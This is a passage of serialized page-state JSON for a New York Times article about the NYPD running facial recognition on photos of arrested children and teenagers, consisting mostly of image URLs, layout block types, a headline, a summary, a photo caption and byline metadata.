JkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.68":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.69":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.70":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.71":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.72":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.73":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.74":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.75":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.76":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.77":{"__typename":"RelatedLinksBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.advertisingProperties":{"sensitivity":"SHOW_ADS","__typename":"CreativeWorkAdvertisingProperties"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).0":{"name":"MASTER","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-articleLarge.jpg","height":400,"width":600,"name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-superJumbo.jpg","height":1365,"width":2048,"name":"superJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).1":{"name":"SMALL_SQUARE","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbStandard.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbLarge.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbStandard.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-thumbStandard.jpg","height":75,"width":75,"name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-thumbLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-thumbLarge.jpg","height":150,"width":150,"name":"thumbLarge","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).2":{"name":"SIXTEEN_BY_NINE","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-videoSixteenByNineJumbo1600.jpg","height":900,"width":1600,"name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).3":{"name":"FACEBOOK","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-facebookJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-facebookJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-facebookJumbo.jpg","height":550,"width":1050,"name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).4":{"name":"WATCH","renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-watch308.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190801nyregion01nypd-juveniles-promo01nypd-juveniles-promo-watch308.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F01nypd-juveniles-promo\u002F01nypd-juveniles-promo-watch308.jpg","height":348,"width":312,"name":"watch308","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia":{"crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.crops({\"renditionNames\":[\"thumbStandard\",\"thumbLarge\",\"watch308\",\"facebookJumbo\",\"videoSixteenByNineJumbo1600\",\"articleLarge\",\"superJumbo\"]}).4","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.promotionalMedia.caption":{"text":"","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline":{"textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline.content.0","typename":"TextInline"}],"__typename":"Heading1Block"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.headline.content.0":{"__typename":"TextInline","text@stripHtml":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary":{"textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary.content.0","typename":"TextInline"}],"__typename":"SummaryBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.summary.content.0":{"__typename":"TextInline","text":"With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.ledeMedia":{"__typename":"ImageBlock","size":"MEDIUM","media":{"type":"id","generated":false,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz","typename":"Image"}},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz":{"id":"SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz","imageType":"photo","url":"\u002Fimagepages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F00nypd-juveniles.html","uri":"nyt:\u002F\u002Fimage\u002F2ad4fe36-f59f-5211-a12e-6b1f5bce2fa3","credit":"Sarah Blesener for The New York Times","legacyHtmlCaption":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.","crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]})":[{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg","name":"articleLarge","width":600,"height":900,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg","name":"popup","width":334,"height":500,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg","name":"jumbo","width":683,"height":1024,"__typename":"ImageRendition"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg","name":"superJumbo","width":1366,"height":2048,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-popup.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F07\u002F30\u002Fnyregion\u002F00nypd-juveniles\u002Fmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg","name":"articleInline","width":190,"height":285,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190730nyregion00nypd-juvenilesmerlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleInline.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvMmFkNGZlMzYtZjU5Zi01MjExLWExMmUtNmIxZjViY2UyZmEz.caption":{"text":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline":{"textAlign":"LEFT","hideHeadshots":false,"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0","typename":"Byline"}],"role@filterEmpty":[],"__typename":"BylineBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0":{"prefix":"By","creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0","typename":"Person"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1","typename":"Person"}],"renderedRepresentation":null,"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0":{"displayName":"Joseph Goldstein","bioUrl":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fjoseph-goldstein","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia","typename":"Image"},"__typename":"Person"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-articleLarge.png","name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-popup.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-popup.png","name":"popup","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog480.png","name":"blog480","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog533.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog533.png","name":"blog533","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog427.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog427.png","name":"blog427","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagSF.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-tmagSF.png","name":"tmagSF","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagArticle.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-tmagArticle.png","name":"tmagArticle","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-slide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-slide.png","name":"slide","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-jumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-jumbo.png","name":"jumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-superJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-superJumbo.png","name":"superJumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blog225.png","name":"blog225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master675.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master675.png","name":"master675","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master495.png","name":"master495","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master180.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master180.png","name":"master180","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master315.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master315.png","name":"master315","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-master768.png","name":"master768","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-popup.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog533.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog427.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagSF.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-tmagArticle.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-slide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-jumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-superJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blog225.png","typename":"ImageRendition"},{"t